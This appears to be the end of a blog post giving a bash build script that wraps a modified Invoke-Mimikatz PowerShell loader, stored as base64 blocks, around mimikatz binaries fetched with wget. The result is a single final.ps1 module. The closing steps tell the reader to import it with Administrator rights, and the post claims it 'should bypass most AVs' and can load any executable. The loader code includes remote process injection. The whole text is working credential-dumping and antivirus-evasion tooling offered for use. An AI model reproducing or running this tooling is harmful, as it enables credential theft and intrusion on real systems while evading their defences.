IGluLiIKCgkJCSRXaW4zMkZ1bmN0aW9ucy5DcmVhdGVUaHJlYWQuSW52b2tlKFtJbnRQdHJdOjpa ZXJvLCBbSW50UHRyXTo6WmVybywgJEV4ZU1haW5QdHIsIFtJbnRQdHJdOjpaZXJvLCAoW1VJbnQz Ml0wKSwgW1JlZl0oW1VJbnQzMl0wKSkgfCBPdXQtTnVsbAoKCQkJd2hpbGUoJHRydWUpCgkJCXsK CQkJCVtCeXRlXSRUaHJlYWREb25lID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5N YXJzaGFsXTo6UmVhZEJ5dGUoJEV4ZURvbmVCeXRlUHRyLCAwKQoJCQkJaWYgKCRUaHJlYWREb25l IC1lcSAxKQoJCQkJewoJCQkJCUNvcHktQXJyYXlPZk1lbUFkZHJlc3NlcyAtQ29weUluZm8gJE92 ZXJ3cml0dGVuTWVtSW5mbyAtV2luMzJGdW5jdGlvbnMgJFdpbjMyRnVuY3Rpb25zIC1XaW4zMkNv bnN0YW50cyAkV2luMzJDb25zdGFudHMKCQkJCQlXcml0ZS1WZXJib3NlICJFWEUgdGhyZWFkIGhh cyBjb21wbGV0ZWQuIgoJCQkJCWJyZWFrCgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJU3RhcnQt U2xlZXAgLVNlY29uZHMgMQoJCQkJfQoJCQl9CgkJfQoJCQoJCXJldHVybiBAKCRQRUluZm8uUEVI YW5kbGUsICRFZmZlY3RpdmVQRUhhbmRsZSkKCX0KCQoJCglGdW5jdGlvbiBJbnZva2UtTWVtb3J5 RnJlZUxpYnJhcnkKCXsKCQlQYXJhbSgKCQlbUGFyYW1ldGVyKFBvc2l0aW9uPTAsIE1hbmRhdG9y eT0kdHJ1ZSldCgkJW0ludFB0cl0KCQkkUEVIYW5kbGUKCQkpCgkJCgoJCSRXaW4zMkNvbnN0YW50 cyA9IEdldC1XaW4zMkNvbnN0YW50cwoJCSRXaW4zMkZ1bmN0aW9ucyA9IEdldC1XaW4zMkZ1bmN0 aW9ucwoJCSRXaW4zMlR5cGVzID0gR2V0LVdpbjMyVHlwZXMKCQkKCQkkUEVJbmZvID0gR2V0LVBF RGV0YWlsZWRJbmZvIC1QRUhhbmRsZSAkUEVIYW5kbGUgLVdpbjMyVHlwZXMgJFdpbjMyVHlwZXMg LVdpbjMyQ29uc3RhbnRzICRXaW4zMkNvbnN0YW50cwoJCQoKCQlpZiAoJFBFSW5mby5JTUFHRV9O VF9IRUFERVJTLk9wdGlvbmFsSGVhZGVyLkltcG9ydFRhYmxlLlNpemUgLWd0IDApCgkJewoJCQlb SW50UHRyXSRJbXBvcnREZXNjcmlwdG9yUHRyID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKFtJ bnQ2NF0kUEVJbmZvLlBFSGFuZGxlKSAoW0ludDY0XSRQRUluZm8uSU1BR0VfTlRfSEVBREVSUy5P cHRpb25hbEhlYWRlci5JbXBvcnRUYWJsZS5WaXJ0dWFsQWRkcmVzcykKCQkJCgkJCXdoaWxlICgk dHJ1ZSkKCQkJewoJCQkJJEltcG9ydERlc2NyaXB0b3IgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJv cFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkSW1wb3J0RGVzY3JpcHRvclB0ciwg W1R5cGVdJFdpbjMyVHlwZXMuSU1BR0VfSU1QT1JUX0RFU0NSSVBUT1IpCgkJCQkKCgkJCQlpZiAo JEltcG9ydERlc2NyaXB0b3IuQ2hhcmFjdGVyaXN0aWNzIC1lcSAwIGAKCQkJCQkJLWFuZCAkSW1w b3J0RGVzY3JpcHRvci5GaXJzdFRodW5rIC1lcSAwIGAKCQkJCQkJLWFuZCAkSW1wb3J0RGVzY3Jp cHRvci5Gb3J3YXJkZXJDaGFpbiAtZXEgMCBgCgkJCQkJCS1hbmQgJEltcG9ydERlc2NyaXB0b3Iu TmFtZSAtZXEgMCBgCgkJCQkJCS1hbmQgJEltcG9ydERlc2NyaXB0b3IuVGltZURhdGVTdGFtcCAt ZXEgMCkKCQkJCXsKCQkJCQlXcml0ZS1WZXJib3NlICJEb25lIHVubG9hZGluZyB0aGUgbGlicmFy aWVzIG5lZWRlZCBieSB0aGUgUEUiCgkJCQkJYnJlYWsKCQkJCX0KCgkJCQkkSW1wb3J0RGxsUGF0 aCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RyaW5n QW5zaSgoQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKFtJbnQ2NF0kUEVJbmZvLlBFSGFuZGxlKSAo W0ludDY0XSRJbXBvcnREZXNjcmlwdG9yLk5hbWUpKSkKCQkJCSRJbXBvcnREbGxIYW5kbGUgPSAk V2luMzJGdW5jdGlvbnMuR2V0TW9kdWxlSGFuZGxlLkludm9rZSgkSW1wb3J0RGxsUGF0aCkKCgkJ CQlpZiAoJEltcG9ydERsbEhhbmRsZSAtZXEgJG51bGwpCgkJCQl7CgkJCQkJV3JpdGUtV2Fybmlu ZyAiRXJyb3IgZ2V0dGluZyBETEwgaGFuZGxlIGluIE1lbW9yeUZyZWVMaWJyYXJ5LCBETExOYW1l OiAkSW1wb3J0RGxsUGF0aC4gQ29udGludWluZyBhbnl3YXlzIiAtV2FybmluZ0FjdGlvbiBDb250 aW51ZQoJCQkJfQoJCQkJCgkJCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5GcmVlTGlicmFy eS5JbnZva2UoJEltcG9ydERsbEhhbmRsZSkKCQkJCWlmICgkU3VjY2VzcyAtZXEgJGZhbHNlKQoJ CQkJewoJCQkJCVdyaXRlLVdhcm5pbmcgIlVuYWJsZSB0byBmcmVlIGxpYnJhcnk6ICRJbXBvcnRE bGxQYXRoLiBDb250aW51aW5nIGFueXdheXMuIiAtV2FybmluZ0FjdGlvbiBDb250aW51ZQoJCQkJ fQoJCQkJCgkJCQkkSW1wb3J0RGVzY3JpcHRvclB0ciA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVk ICgkSW1wb3J0RGVzY3JpcHRvclB0cikgKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMu TWFyc2hhbF06OlNpemVPZihbVHlwZV0kV2luMzJUeXBlcy5JTUFHRV9JTVBPUlRfREVTQ1JJUFRP UikpCgkJCX0KCQl9CgkJCgoJCVdyaXRlLVZlcmJvc2UgIkNhbGxpbmcgZGxsbWFpbiBzbyB0aGUg RExMIGtub3dzIGl0IGlzIGJlaW5nIHVubG9hZGVkIgoJCSREbGxNYWluUHRyID0gQWRkLVNpZ25l ZEludEFzVW5zaWduZWQgKCRQRUluZm8uUEVIYW5kbGUpICgkUEVJbmZvLklNQUdFX05UX0hFQURF UlMuT3B0aW9uYWxIZWFkZXIuQWRkcmVzc09mRW50cnlQb2ludCkKCQkkRGxsTWFpbkRlbGVnYXRl ID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbVUludDMyXSwgW0ludFB0cl0pIChbQm9v bF0pCgkJJERsbE1haW4gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxd OjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkRGxsTWFpblB0ciwgJERsbE1haW5EZWxl Z2F0ZSkKCQkKCQkkRGxsTWFpbi5JbnZva2UoJFBFSW5mby5QRUhhbmRsZSwgMCwgW0ludFB0cl06 Olplcm8pIHwgT3V0LU51bGwKCQkKCQkKCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0 dWFsRnJlZS5JbnZva2UoJFBFSGFuZGxlLCBbVUludDY0XTAsICRXaW4zMkNvbnN0YW50cy5NRU1f UkVMRUFTRSkKCQlpZiAoJFN1Y2Nlc3MgLWVxICRmYWxzZSkKCQl7CgkJCVdyaXRlLVdhcm5pbmcg IlVuYWJsZSB0byBjYWxsIFZpcnR1YWxGcmVlIG9uIHRoZSBQRSdzIG1lbW9yeS4gQ29udGludWlu ZyBhbnl3YXlzLiIgLVdhcm5pbmdBY3Rpb24gQ29udGludWUKCQl9Cgl9CgoKCUZ1bmN0aW9uIE1h aW4KCXsKCQkkV2luMzJGdW5jdGlvbnMgPSBHZXQtV2luMzJGdW5jdGlvbnMKCQkkV2luMzJUeXBl cyA9IEdldC1XaW4zMlR5cGVzCgkJJFdpbjMyQ29uc3RhbnRzID0gIEdldC1XaW4zMkNvbnN0YW50 cwoJCQoJCSRSZW1vdGVQcm9jSGFuZGxlID0gW0ludFB0cl06Olplcm8KCQoKCQlpZiAoKCRQcm9j SWQgLW5lICRudWxsKSAtYW5kICgkUHJvY0lkIC1uZSAwKSAtYW5kICgkUHJvY05hbWUgLW5lICRu dWxsKSAtYW5kICgkUHJvY05hbWUgLW5lICIiKSkKCQl7CgkJCVRocm93ICJDYW4ndCBzdXBwbHkg YSBQcm9jSWQgYW5kIFByb2NOYW1lLCBjaG9vc2Ugb25lIG9yIHRoZSBvdGhlciIKCQl9CgkJZWxz ZWlmICgkUHJvY05hbWUgLW5lICRudWxsIC1hbmQgJFByb2NOYW1lIC1uZSAiIikKCQl7CgkJCSRQ cm9jZXNzZXMgPSBAKEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jTmFtZSAtRXJyb3JBY3Rpb24gU2ls ZW50bHlDb250aW51ZSkKCQkJaWYgKCRQcm9jZXNzZXMuQ291bnQgLWVxIDApCgkJCXsKCQkJCVRo cm93ICJDYW4ndCBmaW5kIHByb2Nlc3MgJFByb2NOYW1lIgoJCQl9CgkJCWVsc2VpZiAoJFByb2Nl c3Nlcy5Db3VudCAtZ3QgMSkKCQkJewoJCQkJJFByb2NJbmZvID0gR2V0LVByb2Nlc3MgfCB3aGVy ZSB7ICRfLk5hbWUgLWVxICRQcm9jTmFtZSB9IHwgU2VsZWN0LU9iamVjdCBQcm9jZXNzTmFtZSwg SWQsIFNlc3Npb25JZAoJCQkJV3JpdGUtT3V0cHV0ICRQcm9jSW5mbwoJCQkJVGhyb3cgIk1vcmUg dGhhbiBvbmUgaW5zdGFuY2Ugb2YgJFByb2NOYW1lIGZvdW5kLCBwbGVhc2Ugc3BlY2lmeSB0aGUg cHJvY2VzcyBJRCB0byBpbmplY3QgaW4gdG8uIgoJCQl9CgkJCWVsc2UKCQkJewoJCQkJJFByb2NJ ZCA9ICRQcm9jZXNzZXNbMF0uSUQKCQkJfQoJCX0KCQkKCgoKCgoKCgkJCgkJaWYgKCgkUHJvY0lk IC1uZSAkbnVsbCkgLWFuZCAoJFByb2NJZCAtbmUgMCkpCgkJewoJCQkkUmVtb3RlUHJvY0hhbmRs ZSA9ICRXaW4zMkZ1bmN0aW9ucy5PcGVuUHJvY2Vzcy5JbnZva2UoMHgwMDFGMEZGRiwgJGZhbHNl LCAkUHJvY0lkKQoJCQlpZiAoJFJlbW90ZVByb2NIYW5kbGUgLWVxIFtJbnRQdHJdOjpaZXJvKQoJ CQl7CgkJCQlUaHJvdyAiQ291bGRuJ3Qgb2J0YWluIHRoZSBoYW5kbGUgZm9yIHByb2Nlc3MgSUQ6 ICRQcm9jSWQiCgkJCX0KCQkJCgkJCVdyaXRlLVZlcmJvc2UgIkdvdCB0aGUgaGFuZGxlIGZvciB0 aGUgcmVtb3RlIHByb2Nlc3MgdG8gaW5qZWN0IGluIHRvIgoJCX0KCQkKCgoJCVdyaXRlLVZlcmJv c2UgIkNhbGxpbmcgSW52b2tlLU1lbW9yeUxvYWRMaWJyYXJ5IgoKICAgICAgICB0cnkKICAgICAg ICB7CiAgICAgICAgICAgICRQcm9jZXNzb3JzID0gR2V0LVdtaU9iamVjdCAtQ2xhc3MgV2luMzJf UHJvY2Vzc29yCiAgICAgICAgfQogICAgICAgIGNhdGNoCiAgICAgICAgewogICAgICAgICAgICB0 aHJvdyAoJF8uRXhjZXB0aW9uKQogICAgICAgIH0KCiAgICAgICAgaWYgKCRQcm9jZXNzb3JzIC1p cyBbYXJyYXldKQogICAgICAgIHsKICAgICAgICAgICAgJFByb2Nlc3NvciA9ICRQcm9jZXNzb3Jz WzBdCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJFByb2Nlc3NvciA9ICRQcm9jZXNzb3Jz CiAgICAgICAgfQoKICAgICAgICBpZiAoICggJFByb2Nlc3Nvci5BZGRyZXNzV2lkdGgpIC1uZSAo KFtTeXN0ZW0uSW50UHRyXTo6U2l6ZSkqOCkgKQogICAgICAgIHsKICAgICAgICAgICAgV3JpdGUt VmVyYm9zZSAoICJBcmNoaXRlY3R1cmU6ICIgKyAkUHJvY2Vzc29yLkFkZHJlc3NXaWR0aCArICIg UHJvY2VzczogIiArIChbU3lzdGVtLkludFB0cl06OlNpemUgKiA4KSkKICAgICAgICAgICAgV3Jp dGUtRXJyb3IgIlBvd2VyU2hlbGwgYXJjaGl0ZWN0dXJlICgzMmJpdC82NGJpdCkgZG9lc24ndCBt YXRjaCBPUyBhcmNoaXRlY3R1cmUuIDY0Yml0IFBTIG11c3QgYmUgdXNlZCBvbiBhIDY0Yml0IE9T LiIgLUVycm9yQWN0aW9uIFN0b3AKICAgICAgICB9CgoKICAgICAgICBpZiAoW1N5c3RlbS5SdW50 aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJdKSAtZXEg OCkKICAgICAgICB7CiAgICAgICAgICAgIFtCeXRlW11dJFBFQnl0ZXMgPSBbQnl0ZVtdXVtDb252 ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkUEVCeXRlczY0KQogICAgICAgIH0KICAgICAgICBlbHNl CiAgICAgICAgewogICAgICAgICAgICBbQnl0ZVtdXSRQRUJ5dGVzID0gW0J5dGVbXV1bQ29udmVy dF06OkZyb21CYXNlNjRTdHJpbmcoJFBFQnl0ZXMzMikKICAgICAgICB9CiAgICAgICAgJFBFQnl0 ZXNbMF0gPSAwCiAgICAgICAgJFBFQnl0ZXNbMV0gPSAwCgkJJFBFSGFuZGxlID0gW0ludFB0cl06 Olplcm8KCQlpZiAoJFJlbW90ZVByb2NIYW5kbGUgLWVxIFtJbnRQdHJdOjpaZXJvKQoJCXsKCQkJ JFBFTG9hZGVkSW5mbyA9IEludm9rZS1NZW1vcnlMb2FkTGlicmFyeSAtUEVCeXRlcyAkUEVCeXRl cyAtRXhlQXJncyAkRXhlQXJncwoJCX0KCQllbHNlCgkJewoJCQkkUEVMb2FkZWRJbmZvID0gSW52 b2tlLU1lbW9yeUxvYWRMaWJyYXJ5IC1QRUJ5dGVzICRQRUJ5dGVzIC1FeGVBcmdzICRFeGVBcmdz IC1SZW1vdGVQcm9jSGFuZGxlICRSZW1vdGVQcm9jSGFuZGxlCgkJfQoJCWlmICgkUEVMb2FkZWRJ bmZvIC1lcSBbSW50UHRyXTo6WmVybykKCQl7CgkJCVRocm93ICJVbmFibGUgdG8gbG9hZCBQRSwg aGFuZGxlIHJldHVybmVkIGlzIE5VTEwiCgkJfQoJCQoJCSRQRUhhbmRsZSA9ICRQRUxvYWRlZElu Zm9bMF0KCQkkUmVtb3RlUEVIYW5kbGUgPSAkUEVMb2FkZWRJbmZvWzFdICNvbmx5IG1hdHRlcnMg aWYgeW91IGxvYWRlZCBpbiB0byBhIHJlbW90ZSBwcm9jZXNzCgkJCgkJCgoJCSRQRUluZm8gPSBH ZXQtUEVEZXRhaWxlZEluZm8gLVBFSGFuZGxlICRQRUhhbmRsZSAtV2luMzJUeXBlcyAkV2luMzJU eXBlcyAtV2luMzJDb25zdGFudHMgJFdpbjMyQ29uc3RhbnRzCgkJaWYgKCgkUEVJbmZvLkZpbGVU eXBlIC1pZXEgIkRMTCIpIC1hbmQgKCRSZW1vdGVQcm9jSGFuZGxlIC1lcSBbSW50UHRyXTo6WmVy bykpCgkJewoKCgogICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIkNhbGxpbmcgZnVu Y3Rpb24gd2l0aCBXU3RyaW5nIHJldHVybiB0eXBlIgoJCQkJICAgIFtJbnRQdHJdJFdTdHJpbmdG dW5jQWRkciA9IEdldC1NZW1vcnlQcm9jQWRkcmVzcyAtUEVIYW5kbGUgJFBFSGFuZGxlIC1GdW5j dGlvbk5hbWUgInBvd2Vyc2hlbGxfcmVmbGVjdGl2ZV9taW1pa2F0eiIKCQkJCSAgICBpZiAoJFdT dHJpbmdGdW5jQWRkciAtZXEgW0ludFB0cl06Olplcm8pCgkJCQkgICAgewoJCQkJCSAgICBUaHJv dyAiQ291bGRuJ3QgZmluZCBmdW5jdGlvbiBhZGRyZXNzLiIKCQkJCSAgICB9CgkJCQkgICAgJFdT dHJpbmdGdW5jRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0pIChbSW50UHRy XSkKCQkJCSAgICAkV1N0cmluZ0Z1bmMgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2Vz Lk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkV1N0cmluZ0Z1bmNBZGRy LCAkV1N0cmluZ0Z1bmNEZWxlZ2F0ZSkKICAgICAgICAgICAgICAgICAgICAkV1N0cmluZ0lucHV0 ID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RyaW5nVG9IR2xv YmFsVW5pKCRFeGVBcmdzKQoJCQkJICAgIFtJbnRQdHJdJE91dHB1dFB0ciA9ICRXU3RyaW5nRnVu Yy5JbnZva2UoJFdTdHJpbmdJbnB1dCkKICAgICAgICAgICAgICAgICAgICBbU3lzdGVtLlJ1bnRp bWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpGcmVlSEdsb2JhbCgkV1N0cmluZ0lucHV0KQoJ CQkJICAgIGlmICgkT3V0cHV0UHRyIC1lcSBbSW50UHRyXTo6WmVybykKCQkJCSAgICB7CgkJCQkg ICAgCVRocm93ICJVbmFibGUgdG8gZ2V0IG91dHB1dCwgT3V0cHV0IFB0ciBpcyBOVUxMIgoJCQkJ ICAgIH0KCQkJCSAgICBlbHNlCgkJCQkgICAgewoJCQkJICAgICAgICAkT3V0cHV0ID0gW1N5c3Rl bS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJpbmdVbmkoJE91dHB1 dFB0cikKCQkJCSAgICAgICAgV3JpdGUtT3V0cHV0ICRPdXRwdXQKCQkJCSAgICAgICAgJFdpbjMy RnVuY3Rpb25zLkxvY2FsRnJlZS5JbnZva2UoJE91dHB1dFB0cik7CgkJCQkgICAgfQoKCgoJCX0K CgkJZWxzZWlmICgoJFBFSW5mby5GaWxlVHlwZSAtaWVxICJETEwiKSAtYW5kICgkUmVtb3RlUHJv Y0hhbmRsZSAtbmUgW0ludFB0cl06Olplcm8pKQoJCXsKCQkJJFZvaWRGdW5jQWRkciA9IEdldC1N ZW1vcnlQcm9jQWRkcmVzcyAtUEVIYW5kbGUgJFBFSGFuZGxlIC1GdW5jdGlvbk5hbWUgIlZvaWRG dW5jIgoJCQlpZiAoKCRWb2lkRnVuY0FkZHIgLWVxICRudWxsKSAtb3IgKCRWb2lkRnVuY0FkZHIg LWVxIFtJbnRQdHJdOjpaZXJvKSkKCQkJewoJCQkJVGhyb3cgIlZvaWRGdW5jIGNvdWxkbid0IGJl IGZvdW5kIGluIHRoZSBETEwiCgkJCX0KCQkJCgkJCSRWb2lkRnVuY0FkZHIgPSBTdWItU2lnbmVk SW50QXNVbnNpZ25lZCAkVm9pZEZ1bmNBZGRyICRQRUhhbmRsZQoJCQkkVm9pZEZ1bmNBZGRyID0g QWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFZvaWRGdW5jQWRkciAkUmVtb3RlUEVIYW5kbGUKCQkJ CgoJCQkkUlRocmVhZEhhbmRsZSA9IEludm9rZS1DcmVhdGVSZW1vdGVUaHJlYWQgLVByb2Nlc3NI YW5kbGUgJFJlbW90ZVByb2NIYW5kbGUgLVN0YXJ0QWRkcmVzcyAkVm9pZEZ1bmNBZGRyIC1XaW4z MkZ1bmN0aW9ucyAkV2luMzJGdW5jdGlvbnMKCQl9CgkJCgoJCWlmICgkUmVtb3RlUHJvY0hhbmRs ZSAtZXEgW0ludFB0cl06Olplcm8pCgkJewoJCQlJbnZva2UtTWVtb3J5RnJlZUxpYnJhcnkgLVBF SGFuZGxlICRQRUhhbmRsZQoJCX0KCQllbHNlCgkJewoKCQkJJFN1Y2Nlc3MgPSAkV2luMzJGdW5j dGlvbnMuVmlydHVhbEZyZWUuSW52b2tlKCRQRUhhbmRsZSwgW1VJbnQ2NF0wLCAkV2luMzJDb25z dGFudHMuTUVNX1JFTEVBU0UpCgkJCWlmICgkU3VjY2VzcyAtZXEgJGZhbHNlKQoJCQl7CgkJCQlX cml0ZS1XYXJuaW5nICJVbmFibGUgdG8gY2FsbCBWaXJ0dWFsRnJlZSBvbiB0aGUgUEUncyBtZW1v cnkuIENvbnRpbnVpbmcgYW55d2F5cy4iIC1XYXJuaW5nQWN0aW9uIENvbnRpbnVlCgkJCX0KCQl9 CgkJCgkJV3JpdGUtVmVyYm9zZSAiRG9uZSEiCgl9CgoJTWFpbgp9CgoKRnVuY3Rpb24gTWFpbgp7 CglpZiAoKCRQU0NtZGxldC5NeUludm9jYXRpb24uQm91bmRQYXJhbWV0ZXJzWyJEZWJ1ZyJdIC1u ZSAkbnVsbCkgLWFuZCAkUFNDbWRsZXQuTXlJbnZvY2F0aW9uLkJvdW5kUGFyYW1ldGVyc1siRGVi dWciXS5Jc1ByZXNlbnQpCgl7CgkJJERlYnVnUHJlZmVyZW5jZSAgPSAiQ29udGludWUiCgl9CgkK CVdyaXRlLVZlcmJvc2UgIlBvd2VyU2hlbGwgUHJvY2Vzc0lEOiAkUElEIgoJCgoJaWYgKCRQc0Nt ZGxldC5QYXJhbWV0ZXJTZXROYW1lIC1pZXEgImdldHN0dWZmIikKCXsKCQkkRXhlQXJncyA9ICRD b21tYW5kIAoJfQogICAgZWxzZQogICAgewogICAgICAgICRFeGVBcmdzID0gJENvbW1hbmQKICAg IH0KCiAgICBbU3lzdGVtLklPLkRpcmVjdG9yeV06OlNldEN1cnJlbnREaXJlY3RvcnkoJHB3ZCkK CiRQRUJ5dGVzNjQgPSAnCg== EOF base64 -d file01 > 01.template ################################################################################ # Put the current URL for the mimikatz binary or put our own build location here ################################################################################ wget "https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20170327/mimikatz_trunk.zip" # # Create a temporary directory for extraction # mkdir -p tt mv mimikatz_trunk.zip tt unzip tt/mimikatz_trunk.zip cp x64/mimikatz.exe ./mimi64.exe cp Win32/mimikatz.exe ./mimi32.exe base64 mimi64.exe > mimi64.ascii base64 mimi32.exe > mimi32.ascii cat mimi64.ascii | xargs > mimi64-tmp cat mimi32.ascii | xargs > mimi32-tmp sed 's/ //g' mimi64-tmp > mimi64-tmp2 sed 's/ //g' mimi32-tmp > mimi32-tmp2 awk '{printf "%s ",$0}' mimi64-tmp2 > mimi64-tmp3 awk '{printf "%s ",$0}' mimi32-tmp2 > mimi32-tmp3 stuff=$(cat mimi64-tmp3) echo -n $stuff >> 01.template echo -n "'" >> 01.template echo "" >> 01.template stuff2=$(cat mimi32-tmp3) echo -n '$PEBytes32 =' >> 01.template echo -n "'" >> 01.template echo -n $stuff2 >> 01.template echo -n "'" >> 01.template echo "" >> 01.template ######################################################################################################### # Here is the base64 encoded modified powershell tempate from PowershellMafia # # https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 # # Part 02 # ######################################################################################################### cat << EOF > file02 aWYgKCRDb21wdXRlck5hbWUgLWVxICRudWxsIC1vciAkQ29tcHV0ZXJOYW1lIC1pbWF0Y2ggIl5c cyokIikKICAgICAgICB7CiAgICAgICAgICAgICAgICBJbnZva2UtQ29tbWFuZCAtU2NyaXB0Qmxv Y2sgJFJlbW90ZVNjcmlwdEJsb2NrIC1Bcmd1bWVudExpc3QgQCgkUEVCeXRlczY0LCAkUEVCeXRl czMyLCAiVm9pZCIsIDAsICIiLCAkRXhlQXJncykKICAgICAgICB9CiAgICAgICAgZWxzZQogICAg ICAgIHsKICAgICAgICAgICAgICAgIEludm9rZS1Db21tYW5kIC1TY3JpcHRCbG9jayAkUmVtb3Rl U2NyaXB0QmxvY2sgLUFyZ3VtZW50TGlzdCBAKCRQRUJ5dGVzNjQsICRQRUJ5dGVzMzIsICJWb2lk IiwgMCwgIiIsICRFeGVBcmdzKSAtQ29tcHV0ZXJOYW1lICRDb21wdXRlck5hbWUKICAgICAgICB9 Cn0KCk1haW4KfQoK EOF base64 -d file02 > 02.template cat 01.template 02.template > final.ps1 # # Clean-up the mess we create .... # rm -rf ./kiwi* ./mimi* ./file* ./tt ./x64 ./Win32 ./README* ./02.template ./01.template
Copy the resulting final.ps1 to the Windows machine where you need to do your stuff..
- Open cmd.exe with Administrator privs
- powershell
- cd \c:\path\to\where\you\placed\the\final.ps1
- Import-Module .\final.ps1
- getstuff
And you get the latest Mimikatz shell … should bypass most AVs
And here is a video demo of the above running on Windows 10 64bit and Windows Defender
P.S This can be of course used for any “executable” you can imagine ;) …. eeh did I say already too much ?
P.P.S I always wondered what the ASCII art in mimikatz ment … it reminds me of only one thing “chatte” ooh you english pig dogs ! :)